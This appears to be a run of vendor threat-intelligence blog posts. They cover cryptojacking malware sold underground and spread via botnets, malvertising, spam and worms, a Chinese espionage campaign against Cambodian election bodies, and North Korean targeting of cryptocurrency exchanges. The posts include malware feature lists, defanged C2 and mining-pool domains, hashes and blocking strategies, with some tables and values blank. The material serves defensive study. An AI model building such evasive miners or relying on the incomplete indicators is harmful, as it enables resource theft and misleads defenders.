In January 2018, FireEye iSIGHT Intelligence observed actor "ups" selling a miner for any Cryptonight-based cryptocurrency (e.g., Monero and Dashcoin) for either Linux or Windows operating systems. In addition to being a miner, the tool allegedly provides local privilege escalation through the CVE-2016-0099 exploit, can download and execute remote files, and receive commands. Buyers could purchase the Windows or Linux tool for €200 EUR, or €325 EUR for both the Linux and Windows builds, payable via Monero, bitcoin, ether, or dash. According to the actor, the tool offered the following:

Windows Build Specifics

  • Written in C++ (no dependencies)
  • Miner component based on XMRig
  • Easy cryptor and VPS hosting options
  • Web panel (Figure 7)
  • Uses TLS for secured communication
  • Download and execute
  • Auto-update ability
  • Cleanup routine
  • Receive remote commands
  • Perform privilege escalation
  • Features "game mode" (mining stops if user plays game)
  • Proxy feature (based on XMRig)
  • Support (for €20/month)
  • Kills other miners from list
  • Hidden from TaskManager
  • Configurable pool, coin, and wallet (via panel)
  • Can mine the following Cryptonight-based coins:
    • Monero
    • Bytecoin
    • Electroneum
    • DigitalNote
    • Karbowanec
    • Sumokoin
    • Fantomcoin
    • Dinastycoin
    • Dashcoin
    • LeviarCoin
    • BipCoin
    • QuazarCoin
    • Bitcedi

Linux Build Specifics

  • Issues running on Linux servers (higher performance on desktop OS)
  • Compatible with AMD64 processors on Ubuntu, Debian, Mint (support for CentOS later)

Figure 7: Miner bot web panel

Sample Advertisement #5 (Miner + USB Spreader + DDoS Tool)

In August 2017, actor "MeatyBanana" was observed by FireEye iSIGHT Intelligence selling a Monero miner utility that included the ability to download and execute files and perform DDoS attacks. The actor offered the software for $30 USD, payable via Bitcoin. Ostensibly, the tool works with CPUs only and offers the following features:

  • Configurable miner pool and port (default to minergate)
  • Compatible with both 64- and 86-bit Windows OS
  • Hides from the following popular task managers:
  • Windows Task Manager
  • Process Killer
  • KillProcess
  • System Explorer
  • Process Explorer
  • AnVir
  • Process Hacker
  • Masked as a system driver
  • Does not require administrator privileges
  • No dependencies
  • Registry persistence mechanism
  • Ability to perform "tasks" (download and execute files, navigate to a site, and perform DDoS)
  • USB spreader
  • Support after purchase

The Cost of Cryptojacking

The presence of mining software on a network can generate costs on three fronts as the miner surreptitiously allocates resources:

  1. Degradation in system performance
  2. Increased cost in electricity
  3. Potential exposure of security holes

Cryptojacking targets computer processing power, which can lead to high CPU load and degraded performance. In extreme cases, CPU overload may even cause the operating system to crash. Infected machines may also attempt to infect neighboring machines and therefore generate large amounts of traffic that can overload victims' computer networks.

In the case of operational technology (OT) networks, the consequences could be severe. Supervisory control and data acquisition/industrial control systems (SCADA/ICS) environments predominately rely on decades-old hardware and low-bandwidth networks, therefore even a slight increase in CPU load or the network could leave industrial infrastructures unresponsive, impeding operators from interacting with the controlled process in real-time.

The electricity cost, measured in kilowatt hour (kWh), is dependent upon several factors: how often the malicious miner software is configured to run, how many threads it's configured to use while running, and the number of machines mining on the victim's network. The cost per kWh is also highly variable and depends on geolocation. For example, security researchers who ran Coinhive on a machine for 24 hours found that the electrical consumption was 1.212kWh. They estimated that this equated to electrical costs per month of $10.50 USD in the United States, $5.45 USD in Singapore, and $12.30 USD in Germany.

Cryptojacking can also highlight often overlooked security holes in a company's network. Organizations infected with cryptomining malware are also likely vulnerable to more severe exploits and attacks, ranging from ransomware to ICS-specific malware such as TRITON.

Cryptocurrency Miner Distribution Techniques

In order to maximize profits, cyber criminals widely disseminate their miners using various techniques such as incorporating cryptojacking modules into existing botnets, drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, and distributing cryptojacking utilities via spam and self-propagating utilities. Threat actors can use cryptojacking to affect numerous devices and secretly siphon their computing power. Some of the most commonly observed devices targeted by these cryptojacking schemes are:

  • User endpoint machines
  • Enterprise servers
  • Websites
  • Mobile devices
  • Industrial control systems
Cryptojacking in the Cloud

Private sector companies and governments alike are increasingly moving their data and applications to the cloud, and cyber threat groups have been moving with them. Recently, there have been various reports of actors conducting cryptocurrency mining operations specifically targeting cloud infrastructure. Cloud infrastructure is increasingly a target for cryptojacking operations because it offers actors an attack surface with large amounts of processing power in an environment where CPU usage and electricity costs are already expected to be high, thus allowing their operations to potentially go unnoticed. We assess with high confidence that threat actors will continue to target enterprise cloud networks in efforts to harness their collective computational resources for the foreseeable future.

The following are some real-world examples of cryptojacking in the cloud:

  • In February 2018, FireEye researchers published a blog detailing various techniques actors used in order to deliver malicious miner payloads (specifically to vulnerable Oracle servers) by abusing CVE-2017-10271. Refer to our blog post for more detailed information regarding the post-exploitation and pre-mining dissemination techniques used in those campaigns.
  • In March 2018, Bleeping Computer reported on the trend of cryptocurrency mining campaigns moving to the cloud via vulnerable Docker and Kubernetes applications, which are two software tools used by developers to help scale a company's cloud infrastructure. In most cases, successful attacks occur due to misconfigured applications and/or weak security controls and passwords.
  • In February 2018, Bleeping Computer also reported on hackers who breached Tesla's cloud servers to mine Monero. Attackers identified a Kubernetes console that was not password protected, allowing them to discover login credentials for the broader Tesla Amazon Web services (AWS) S3 cloud environment. Once the attackers gained access to the AWS environment via the harvested credentials, they effectively launched their cryptojacking operations.
  • Reports of cryptojacking activity due to misconfigured AWS S3 cloud storage buckets have also been observed, as was the case in the LA Times online compromise in February 2018. The presence of vulnerable AWS S3 buckets allows anyone on the internet to access and change hosted content, including the ability to inject mining scripts or other malicious software.
Incorporation of Cryptojacking into Existing Botnets

FireEye iSIGHT Intelligence has observed multiple prominent botnets such as Dridex and Trickbot incorporate cryptocurrency mining into their existing operations. Many of these families are modular in nature and have the ability to download and execute remote files, thus allowing the operators to easily turn their infections into cryptojacking bots. While these operations have traditionally been aimed at credential theft (particularly of banking credentials), adding mining modules or downloading secondary mining payloads provides the operators another avenue to generate additional revenue with little effort. This is especially true in cases where the victims were deemed unprofitable or have already been exploited in the original scheme.

The following are some real-world examples of cryptojacking being incorporated into existing botnets:

  • In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.
  • On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs. The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.
  • In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.
  • In late 2017, FireEye researchers observed Trickbot operators deploy a new module named "testWormDLL" that is a statically compiled copy of the popular XMRig Monero miner.
  • On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module. According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server.

Drive-By Cryptojacking


FireEye iSIGHT Intelligence has examined various customer reports of browser-based cryptocurrency mining. Browser-based mining scripts have been observed on compromised websites, third-party advertising platforms, and have been legitimately placed on websites by publishers. While coin mining scripts can be embedded directly into a webpage's source code, they are frequently loaded from third-party websites. Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers, such as in the case of a compromised website. Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors. At the time of reporting, the most popular script being deployed in the wild is Coinhive. Coinhive is an open-source JavaScript library that, when loaded on a vulnerable website, can mine Monero using the site visitor's CPU resources, unbeknownst to the user, as they browse the site.

The following are some real-world examples of Coinhive being deployed in the wild:

  • In September 2017, Bleeping Computer reported that the authors of SafeBrowse, a Chrome extension with more than 140,000 users, had embedded the Coinhive script in the extension's code that allowed for the mining of Monero using users' computers and without getting their consent.
  • During mid-September 2017, users on Reddit began complaining about increased CPU usage when they navigated to a popular torrent site, The Pirate Bay (TPB). The spike in CPU usage was a result of Coinhive's script being embedded within the site's footer. According to TPB operators, it was implemented as a test to generate passive revenue for the site (Figure 8).
  • In December 2017, researchers with Sucuri reported on the presence of the Coinhive script being hosted on, which allows users to publish web pages directly from GitHub repositories.
  • Other reporting disclosed the Coinhive script being embedded on the Showtime domain as well as on the LA Times website, both surreptitiously mining Monero.
  • A majority of in-browser cryptojacking activity is transitory in nature and will last only as long as the user’s web browser is open. However, researchers with Malwarebytes Labs uncovered a technique that allows for continued mining activity even after the browser window is closed. The technique leverages a pop-under window surreptitiously hidden under the taskbar. As researchers pointed out, closing the browser window may not be enough to interrupt the activity, and that more advanced actions like running the Task Manager may be required.

Figure 8: Statement from TPB operators on Coinhive script

Malvertising and Exploit Kits

Malvertisements – malicious ads on legitimate websites – commonly redirect visitors of a site to an exploit kit landing page. These landing pages are designed to scan a system for vulnerabilities, exploit those vulnerabilities, and download and execute malicious code onto the system. Notably, the malicious advertisements can be placed on legitimate sites and visitors can become infected with little to no user interaction. This distribution tactic is commonly used by threat actors to widely distribute malware and has been employed in various cryptocurrency mining operations.

The following are some real-world examples of this activity:

  • In early 2018, researchers with Trend Micro reported that a modified miner script was being disseminated across YouTube via Google's DoubleClick ad delivery platform. The script was configured to generate a random number variable between 1 and 100, and when the variable was above 10 it would launch the Coinhive script coinhive.min.js, which harnessed 80 percent of the CPU power to mine Monero. When the variable was below 10 it launched a modified Coinhive script that was also configured to harness 80 percent CPU power to mine Monero. This custom miner connected to the mining pool wss[:]//ws[.]l33tsite[.]info:8443, which was likely done to avoid Coinhive's fees.
  • In April 2018, researchers with Trend Micro also discovered a JavaScript code based on Coinhive injected into an AOL ad platform. The miner used the following private mining pools: wss[:]//wsX[.]www.datasecu[.]download/proxy and wss[:]//www[.]jqcdn[.]download:8893/proxy. Examination of other sites compromised by this campaign showed that in at least some cases the operators were hosting malicious content on unsecured AWS S3 buckets.
  • Since July 16, 2017, FireEye has observed the Neptune Exploit Kit redirect to ads for hiking clubs and MP3 converter domains. Payloads associated with the latter include Monero CPU miners that are surreptitiously installed on victims' computers.
  • In January 2018, Check Point researchers discovered a malvertising campaign leading to the Rig Exploit Kit, which served the XMRig Monero miner utility to unsuspecting victims.

Mobile Cryptojacking

In addition to targeting enterprise servers and user machines, threat actors have also targeted mobile devices for cryptojacking operations. While this technique is less common, likely due to the limited processing power afforded by mobile devices, cryptojacking on mobile devices remains a threat as sustained power consumption can damage the device and dramatically shorten the battery life. Threat actors have been observed targeting mobile devices by hosting malicious cryptojacking apps on popular app stores and through drive-by malvertising campaigns that identify users of mobile browsers.

The following are some real-world examples of mobile devices being used for cryptojacking:

  • During 2014, FireEye iSIGHT Intelligence reported on multiple Android malware apps capable of mining cryptocurrency:
    • In March 2014, Android malware named "CoinKrypt" was discovered, which mined Litecoin, Dogecoin, and CasinoCoin currencies.
    • In March 2014, another form of Android malware – "Android.Trojan.MuchSad.A" or "ANDROIDOS_KAGECOIN.HBT" – was observed mining Bitcoin, Litecoin, and Dogecoin currencies. The malware was disguised as copies of popular applications, including "Football Manager Handheld" and "TuneIn Radio." Variants of this malware have reportedly been downloaded by millions of Google Play users.
    • In April 2014, Android malware named "BadLepricon," which mined Bitcoin, was identified. The malware was reportedly being bundled into wallpaper applications hosted on the Google Play store, at least several of which received 100 to 500 installations before being removed.
    • In October 2014, a type of mobile malware called "Android Slave" was observed in China; the malware was reportedly capable of mining multiple virtual currencies.
  • In December 2017, researchers with Kaspersky Labs reported on a new multi-faceted Android malware capable of a variety of actions including mining cryptocurrencies and launching DDoS attacks. The resource load created by the malware has reportedly been high enough that it can cause the battery to bulge and physically destroy the device. The malware, dubbed Loapi, is unique in the breadth of its potential actions. It has a modular framework that includes modules for malicious advertising, texting, web crawling, Monero mining, and other activities. Loapi is thought to be the work of the same developers behind the 2015 Android malware Podec, and is usually disguised as an anti-virus app.
  • In January 2018, SophosLabs released a report detailing their discovery of 19 mobile apps hosted on Google Play that contained embedded Coinhive-based cryptojacking code, some of which were downloaded anywhere from 100,000 to 500,000 times.
  • Between November 2017 and January 2018, researchers with Malwarebytes Labs reported on a drive-by cryptojacking campaign that affected millions of Android mobile browsers to mine Monero.

Cryptojacking Spam Campaigns

FireEye iSIGHT Intelligence has observed several cryptocurrency miners distributed via spam campaigns, which is a commonly used tactic to indiscriminately distribute malware. We expect malicious actors will continue to use this method to disseminate cryptojacking code as for long as cryptocurrency mining remains profitable.

In late November 2017, FireEye researchers identified a spam campaign delivering a malicious PDF attachment designed to appear as a legitimate invoice from the largest port and container service in New Zealand: Lyttelton Port of Chistchurch (Figure 9). Once opened, the PDF would launch a PowerShell script that downloaded a Monero miner from a remote host. The malicious miner connected to the pools and

Figure 9: Sample lure attachment (PDF) that downloads malicious cryptocurrency miner

Additionally, a massive cryptojacking spam campaign was discovered by FireEye researchers during January 2018 that was designed to look like legitimate financial services-related emails. The spam email directed victims to an infection link that ultimately dropped a malicious ZIP file onto the victim's machine. Contained within the ZIP file was a cryptocurrency miner utility (MD5: 80b8a2d705d5b21718a6e6efe531d493) configured to mine Monero and connect to the pool. While each of the spam email lures and associated ZIP filenames were different, the same cryptocurrency miner sample was dropped across all observed instances (Table 2).

ZIP Filenames













Table 2: Sampling of observed ZIP filenames delivering cryptocurrency miner

Cryptojacking Worms

Following the WannaCry attacks, actors began to increasingly incorporate self-propagating functionality within their malware. Some of the observed self-spreading techniques have included copying to removable drives, brute forcing SSH logins, and leveraging the leaked NSA exploit EternalBlue. Cryptocurrency mining operations significantly benefit from this functionality since wider distribution of the malware multiplies the amount of CPU resources available to them for mining. Consequently, we expect that additional actors will continue to develop this capability.

The following are some real-world examples of cryptojacking worms:

  • In May 2017, Proofpoint reported a large campaign distributing mining malware "Adylkuzz." This cryptocurrency miner was observed leveraging the EternalBlue exploit to rapidly spread itself over corporate LANs and wireless networks. This activity included the use of the DoublePulsar backdoor to download Adylkuzz. Adylkuzz infections create botnets of Windows computers that focus on mining Monero.
  • Security researchers with Sensors identified a Monero miner worm, dubbed "Rarogminer," in April 2018 that would copy itself to removable drives each time a user inserted a flash drive or external HDD.
  • In January 2018, researchers at F5 discovered a new Monero cryptomining botnet that targets Linux machines. PyCryptoMiner is based on Python script and spreads via the SSH protocol. The bot can also use Pastebin for its command and control (C2) infrastructure. The malware spreads by trying to guess the SSH login credentials of target Linux systems. Once that is achieved, the bot deploys a simple base64-encoded Python script that connects to the C2 server to download and execute more malicious Python code.

Detection Avoidance Methods

Another trend worth noting is the use of proxies to avoid detection. The implementation of mining proxies presents an attractive option for cyber criminals because it allows them to avoid developer and commission fees of 30 percent or more. Avoiding the use of common cryptojacking services such as Coinhive, Cryptloot, and Deepminer, and instead hosting cryptojacking scripts on actor-controlled infrastructure, can circumvent many of the common strategies taken to block this activity via domain or file name blacklisting.

In March 2018, Bleeping Computer reported on the use of cryptojacking proxy servers and determined that as the use of cryptojacking proxy services increases, the effectiveness of ad blockers and browser extensions that rely on blacklists decreases significantly.

Several mining proxy tools can be found on GitHub, such as the XMRig Proxy tool, which greatly reduces the number of active pool connections, and the CoinHive Stratum Mining Proxy, which uses Coinhive’s JavaScript mining library to provide an alternative to using official Coinhive scripts and infrastructure.

In addition to using proxies, actors may also establish their own self-hosted miner apps, either on private servers or cloud-based servers that supports Node.js. Although private servers may provide some benefit over using a commercial mining service, they are still subject to easy blacklisting and require more operational effort to maintain. According to Sucuri researchers, cloud-based servers provide many benefits to actors looking to host their own mining applications, including:

  • Available free or at low-cost
  • No maintenance, just upload the crypto-miner app
  • Harder to block as blacklisting the host address could potentially impact access to legitimate services
  • Resilient to permanent takedown as new hosting accounts can more easily be created using disposable accounts

The combination of proxies and crypto-miners hosted on actor-controlled cloud infrastructure presents a significant hurdle to security professionals, as both make cryptojacking operations more difficult to detect and take down.

Mining Victim Demographics

Based on data from FireEye detection technologies, the detection of cryptocurrency miner malware has increased significantly since the beginning of 2018 (Figure 10), with the most popular mining pools being minergate and nanopool (Figure 11), and the most heavily affected country being the U.S. (Figure 12). Consistent with other reporting, the education sector remains most affected, likely due to more relaxed security controls across university networks and students taking advantage of free electricity to mine cryptocurrencies (Figure 13).

Figure 10: Cryptocurrency miner detection activity per month

Figure 11: Commonly observed pools and associated ports

Figure 12: Top 10 affected countries

Figure 13: Top five affected industries

Figure 14: Top affected industries by country

Mitigation Techniques

Unencrypted Stratum Sessions

According to security researchers at Cato Networks, in order for a miner to participate in pool mining, the infected machine will have to run native or JavaScript-based code that uses the Stratum protocol over TCP or HTTP/S. The Stratum protocol uses a publish/subscribe architecture where clients will send subscription requests to join a pool and servers will send messages (publish) to its subscribed clients. These messages are simple, readable, JSON-RPC messages. Subscription requests will include the following entities: id, method, and params (Figure 15). A deep packet inspection (DPI) engine can be configured to look for these parameters in order to block Stratum over unencrypted TCP.

Figure 15: Stratum subscription request parameters

Encrypted Stratum Sessions

In the case of JavaScript-based miners running Stratum over HTTPS, detection is more difficult for DPI engines that do not decrypt TLS traffic. To mitigate encrypted mining traffic on a network, organizations may blacklist the IP addresses and domains of popular mining pools. However, the downside to this is identifying and updating the blacklist, as locating a reliable and continually updated list of popular mining pools can prove difficult and time consuming.

Browser-Based Sessions

Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers (as in the case of a compromised website). Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors.

As defenses evolve to prevent unauthorized coin mining activities, so will the techniques used by actors; however, blocking some of the most common indicators that we have observed to date may be effective in combatting a significant amount of the CPU-draining mining activities that customers have reported. Generic detection strategies for browser-based cryptocurrency mining include:

  • Blocking domains known to have hosted coin mining scripts
  • Blocking websites of known mining project websites, such as Coinhive
  • Blocking scripts altogether
  • Using an ad-blocker or coin mining-specific browser add-ons
  • Detecting commonly used naming conventions
  • Alerting and blocking traffic destined for known popular mining pools

Some of these detection strategies may also be of use in blocking some mining functionality included in existing financial malware as well as mining-specific malware families.

It is important to note that JavaScript used in browser-based cryptojacking activity cannot access files on disk. However, if a host has inadvertently navigated to a website hosting mining scripts, we recommend purging cache and other browser data.


In underground communities and marketplaces there has been significant interest in cryptojacking operations, and numerous campaigns have been observed and reported by security researchers. These developments demonstrate the continued upward trend of threat actors conducting cryptocurrency mining operations, which we expect to see a continued focus on throughout 2018. Notably, malicious cryptocurrency mining may be seen as preferable due to the perception that it does not attract as much attention from law enforcement as compared to other forms of fraud or theft. Further, victims may not realize their computer is infected beyond a slowdown in system performance.

Due to its inherent privacy-focused features and CPU-mining profitability, Monero has become one of the most attractive cryptocurrency options for cyber criminals. We believe that it will continue to be threat actors' primary cryptocurrency of choice, so long as the Monero blockchain maintains privacy-focused standards and is ASIC-resistant. If in the future the Monero protocol ever downgrades its security and privacy-focused features, then we assess with high confidence that threat actors will move to use another privacy-focused coin as an alternative.

Because of the anonymity associated with the Monero cryptocurrency and electronic wallets, as well as the availability of numerous cryptocurrency exchanges and tumblers, attribution of malicious cryptocurrency mining is very challenging for authorities, and malicious actors behind such operations typically remain unidentified. Threat actors will undoubtedly continue to demonstrate high interest in malicious cryptomining so long as it remains profitable and relatively low risk.

Chinese Espionage Group TEMP.Periscope Targets Cambodia Ahead of July 2018 Elections and Reveals Broad Operations Globally


FireEye has examined a range of TEMP.Periscope activity revealing extensive interest in Cambodia's politics, with active compromises of multiple Cambodian entities related to the country’s electoral system. This includes compromises of Cambodian government entities charged with overseeing the elections, as well as the targeting of opposition figures. This campaign occurs in the run up to the country’s July 29, 2018, general elections. TEMP.Periscope used the same infrastructure for a range of activity against other more traditional targets, including the defense industrial base in the United States and a chemical company based in Europe. Our previous blog post focused on the group’s targeting of engineering and maritime entities in the United States.

Overall, this activity indicates that the group maintains an extensive intrusion architecture and wide array of malicious tools, and targets a large victim set, which is in line with typical Chinese-based APT efforts. We expect this activity to provide the Chinese government with widespread visibility into Cambodian elections and government operations. Additionally, this group is clearly able to run several large-scale intrusions concurrently across a wide range of victim types.

Our analysis also strengthened our overall attribution of this group. We observed the toolsets we previously attributed to this group, their observed targets are in line with past group efforts and also highly similar to known Chinese APT efforts, and we identified an IP address originating in Hainan, China that was used to remotely access and administer a command and control (C2) server.

TEMP.Periscope Background

Active since at least 2013, TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals, including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities (targeting is summarized in Figure 1). The group has also targeted professional/consulting services, high-tech industry, healthcare, and media/publishing. TEMP.Periscope overlaps in targeting, as well as tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group that also overlaps significantly with public reporting by Proofpoint and F-Secure on "NanHaiShu."

Figure 1: Summary of TEMP.Periscope activity

Incident Background

FireEye analyzed files on three open indexes believed to be controlled by TEMP.Periscope, which yielded insight into the group's objectives, operational tactics, and a significant amount of technical attribution/validation. These files were "open indexed" and thus accessible to anyone on the public internet. This TEMP.Periscope activity on these servers extends from at least April 2017 to the present, with the most current operations focusing on Cambodia's government and elections.

  • Two servers, chemscalere[.]com and scsnewstoday[.]com, operate as typical C2 servers and hosting sites, while the third, mlcdailynews[.]com, functions as an active SCANBOX server. The C2 servers contained both logs and malware.
  • Analysis of logs from the three servers revealed:
    • Potential actor logins from an IP address located in Hainan, China that was used to remotely access and administer the servers, and interact with malware deployed at victim organizations.
    • Malware command and control check-ins from victim organizations in the education, aviation, chemical, defense, government, maritime, and technology sectors across multiple regions. FireEye has notified all of the victims that we were able to identify.
  • The malware present on the servers included both new families (DADBOD, EVILTECH) and previously identified malware families (AIRBREAK, EVILTECH, HOMEFRY, MURKYTOP, HTRAN, and SCANBOX) .

Compromises of Cambodian Election Entities

Analysis of command and control logs on the servers revealed compromises of multiple Cambodian entities, primarily those relating to the upcoming July 2018 elections. In addition, a separate spear phishing email analyzed by FireEye indicates concurrent targeting of opposition figures within Cambodia by TEMP.Periscope.

Analysis indicated that the following Cambodian government organizations and individuals were compromised by TEMP.Periscope:

  • National Election Commission, Ministry of the Interior, Ministry of Foreign Affairs and International Cooperation, Cambodian Senate, Ministry of Economics and Finance
  • Member of Parliament representing Cambodia National Rescue Party
  • Multiple Cambodians advocating human rights and democracy who have written critically of the current ruling party
  • Two Cambodian diplomats serving overseas
  • Multiple Cambodian media entities

TEMP.Periscope sent a spear phish with AIRBREAK malware to Monovithya Kem, Deputy Director-General, Public Affairs, Cambodia National Rescue Party (CNRP), and the daughter of (imprisoned) Cambodian opposition party leader Kem Sokha (Figure 2). The decoy document purports to come from LICADHO (a non-governmental organization [NGO] in Cambodia established in 1992 to promote human rights). This sample leveraged scsnewstoday[.]com for C2.

Figure 2: Human right protection survey lure

The decoy document "Interview Questions.docx" (MD5: ba1e5b539c3ae21c756c48a8b5281b7e) is tied to AIRBREAK downloaders of the same name. The questions reference the opposition Cambodian National Rescue Party, human rights, and the election (Figure 3).

Figure 3: Interview questions decoy

Infrastructure Also Used for Operations Against Private Companies

The aforementioned malicious infrastructure was also used against private companies in Asia, Europe and North America. These companies are in a wide range of industries, including academics, aviation, chemical, maritime, and technology. A MURKYTOP sample from 2017 and data contained in a file linked to chemscalere[.]com suggest that a corporation involved in the U.S. defense industrial base (DIB) industry, possibly related to maritime research, was compromised. Many of these compromises are in line with TEMP.Periscope’s previous activity targeting maritime and defense industries. However, we also uncovered the compromise of a European chemical company with a presence in Asia, demonstrating that this group is a threat to business worldwide, particularly those with ties to Asia.

AIRBREAK Downloaders and Droppers Reveal Lure Indicators

Filenames for AIRBREAK downloaders found on the open indexed sites also suggest the ongoing targeting of interests associated with Asian geopolitics. In addition, analysis of AIRBREAK downloader sites revealed a related server that underscores TEMP.Periscope's interest in Cambodian politics.

The AIRBREAK downloaders in Table 1 redirect intended victims to the indicated sites to display a legitimate decoy document while downloading an AIRBREAK payload from one of the identified C2s. Of note, the hosting site for the legitimate documents was not compromised. An additional C2 domain, partyforumseasia[.]com, was identified as the callback for an AIRBREAK downloader referencing the Cambodian National Rescue Party.

Redirect Site (Not Malicious)

AIRBREAK Downloader



(3c51c89078139337c2c92e084bb0904c) [Figure 4]










Philippines-draws-three-hard-new-lines-on-china .js







Table 1: AIRBREAK downloaders

Figure 4: Decoy document associated with AIRBREAK downloader file TOP_NEWS_Japan_to_Support_the_Election.js

SCANBOX Activity Gives Hints to Future Operations

The active SCANBOX server, mlcdailynews[.]com, is hosting articles related to the current Cambodian campaign and broader operations. Articles found on the server indicate targeting of those with interests in U.S.-East Asia geopolitics, Russia and NATO affairs. Victims are likely either brought to the SCANBOX server via strategic website compromise or malicious links in targeted emails with the article presented as decoy material. The articles come from open-source reporting readily available online. Figure 5 is a SCANBOX welcome page and Table 2 is a list of the articles found on the server.

Figure 5: SCANBOX welcome page

Copied Article Topic

Article Source (Not Compromised)

Leaders confident yet nervous

Khmer Times

Mahathir_ 'We want to be friendly with China

PM urges voters to support CPP for peace

CPP determined to maintain Kingdom's peace and development

Bun Chhay's wife dies at 60

Crackdown planned on boycott callers

Further floods coming to Kingdom

Kem Sokha again denied bail

PM vows to stay on as premier to quash traitors

Iran_ Don't trust Trump

Fresh News

Kim-Trump summit_ Singapore's role

Trump's North Korea summit may bring peace declaration - but at a cost


U.S. pushes NATO to ready more forces to deter Russian threat


Interior Minister Sar Kheng warns of dirty tricks

Phnom Penh Post

Another player to enter market for cashless pay

Donald Trump says he has 'absolute right' to pardon himself but he's done nothing wrong - Donald Trump's America

ABC News

China-funded national road inaugurated in Cambodia

The Cambodia Daily

Kim and Trump in first summit session in Singapore

Asia Times

U.S. to suspend military exercises with South Korea, Trump says

U.S. News

Rainsy defamed the King_ Hun Sen



Associated Press

Table 2: SCANBOX articles copied to server

TEMP.Periscope Malware Suite

Analysis of the malware inventory contained on the three servers found a classic suite of TEMP.Periscope payloads, including the signature AIRBREAK, MURKYTOP, and HOMEFRY. In addition, FireEye’s analysis identified new tools, EVILTECH and DADBOD (Table 3).






  • EVILTECH is a JavaScript sample that implements a simple RAT with support for uploading, downloading, and running arbitrary JavaScript.
  • During the infection process, EVILTECH is run on the system, which then causes a redirect and possibly the download of additional malware or connection to another attacker-controlled system.


Credential Theft

  • DADBOD is a tool used to steal user cookies.
  • Analysis of this malware is still ongoing.

Table 3: New additions to the TEMP.Periscope malware suite

Data from Logs Strengthens Attribution to China

Our analysis of the servers and surrounding data in this latest campaign bolsters our previous assessment that TEMP.Periscope is likely Chinese in origin. Data from a control panel access log indicates that operators are based in China and are operating on computers with Chinese language settings.

A log on the server revealed IP addresses that had been used to log in to the software used to communicate with malware on victim machines. One of the IP addresses,, is located in Hainan, China. Other addresses belong to virtual private servers, but artifacts indicate that the computers used to log in all cases are configured with Chinese language settings.

Outlook and Implications

The activity uncovered here offers new insight into TEMP.Periscope’s activity. We were previously aware of this actor’s interest in maritime affairs, but this compromise gives additional indications that it will target the political system of strategically important countries. Notably, Cambodia has served as a reliable supporter of China’s South China Sea position in international forums such as ASEAN and is an important partner. While Cambodia is rated as Authoritarian by the Economist’s Democracy Index, the recent surprise upset of the ruling party in Malaysia may motivate China to closely monitor Cambodia’s July 29 elections.

The targeting of the election commission is particularly significant, given the critical role it plays in facilitating voting. There is not yet enough information to determine why the organization was compromised – simply gathering intelligence or as part of a more complex operation. Regardless, this incident is the most recent example of aggressive nation-state intelligence collection on election processes worldwide.

We expect TEMP.Periscope to continue targeting a wide range of government and military agencies, international organizations, and private industry. However focused this group may be on maritime issues, several incidents underscore their broad reach, which has included European firms doing business in Southeast Asia and the internal affairs of littoral nations. FireEye expects TEMP.Periscope will remain a virulent threat for those operating in the area for the foreseeable future.

Why Is North Korea So Interested in Bitcoin?,Why Is North Korea So Interested in Bitcoin?

In 2016 we began observing actors we believe to be North Korean utilizing their intrusion capabilities to conduct cyber crime, targeting banks and the global financial system. This marked a departure from previously observed activity of North Korean actors employing cyber espionage for traditional nation state activities. Yet, given North Korea's position as a pariah nation cut off from much of the global economy – as well as a nation that employs a government bureau to conduct illicit economic activity – this is not all that surprising. With North Korea's tight control of its military and intelligence capabilities, it is likely that this activity was carried out to fund the state or personal coffers of Pyongyang's elite, as international sanctions have constricted the Hermit Kingdom.

Now, we may be witnessing a second wave of this campaign: state-sponsored actors seeking to steal bitcoin and other virtual currencies as a means of evading sanctions and obtaining hard currencies to fund the regime. Since May 2017, Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds. The spearphishing we have observed in these cases often targets personal email accounts of employees at digital currency exchanges, frequently using tax-themed lures and deploying malware (PEACHPIT and similar variants) linked to North Korean actors suspected to be responsible for intrusions into global banks in 2016.

Add to that the ties between North Korean operators and a watering hole compromise of a bitcoin news site in 2016, as well as at least one instance of usage of a surreptitious cryptocurrency miner, and we begin to see a picture of North Korean interest in cryptocurrencies, an asset class in which bitcoin alone has increased over 400% since the beginning of this year.

2017 North Korean Activity Against South Korean Cryptocurrency Targets

  • April 22 – Four wallets on Yapizon, a South Korean cryptocurrency exchange, are compromised. (It is worth noting that at least some of the tactics, techniques, and procedures were reportedly employed during this compromise were different than those we have observed in following intrusion attempts and as of yet there are no clear indications of North Korean involvement).
  • April 26 – The United States announces a strategy of increased economic sanctions against North Korea. Sanctions from the international community could be driving North Korean interest in cryptocurrency, as discussed earlier.
  • Early May – Spearphishing against South Korean Exchange #1 begins.
  • Late May – South Korean Exchange #2 compromised via spearphish.
  • Early June – More suspected North Korean activity targeting unknown victims, believed to be cryptocurrency service providers in South Korea.
  • Early July – South Korean Exchange #3 targeted via spear phishing to personal account.

Benefits to Targeting Cryptocurrencies

While bitcoin and cryptocurrency exchanges may seem like odd targets for nation state actors interested in funding state coffers, some of the other illicit endeavors North Korea pursues further demonstrate interest in conducting financial crime on the regime’s behalf. North Korea's Office 39 is involved in activities such as gold smuggling, counterfeiting foreign currency, and even operating restaurants. Besides a focus on the global banking system and cryptocurrency exchanges, a recent report by a South Korean institute noted involvement by North Korean actors in targeting ATMs with malware, likely actors at the very least supporting similar ends.

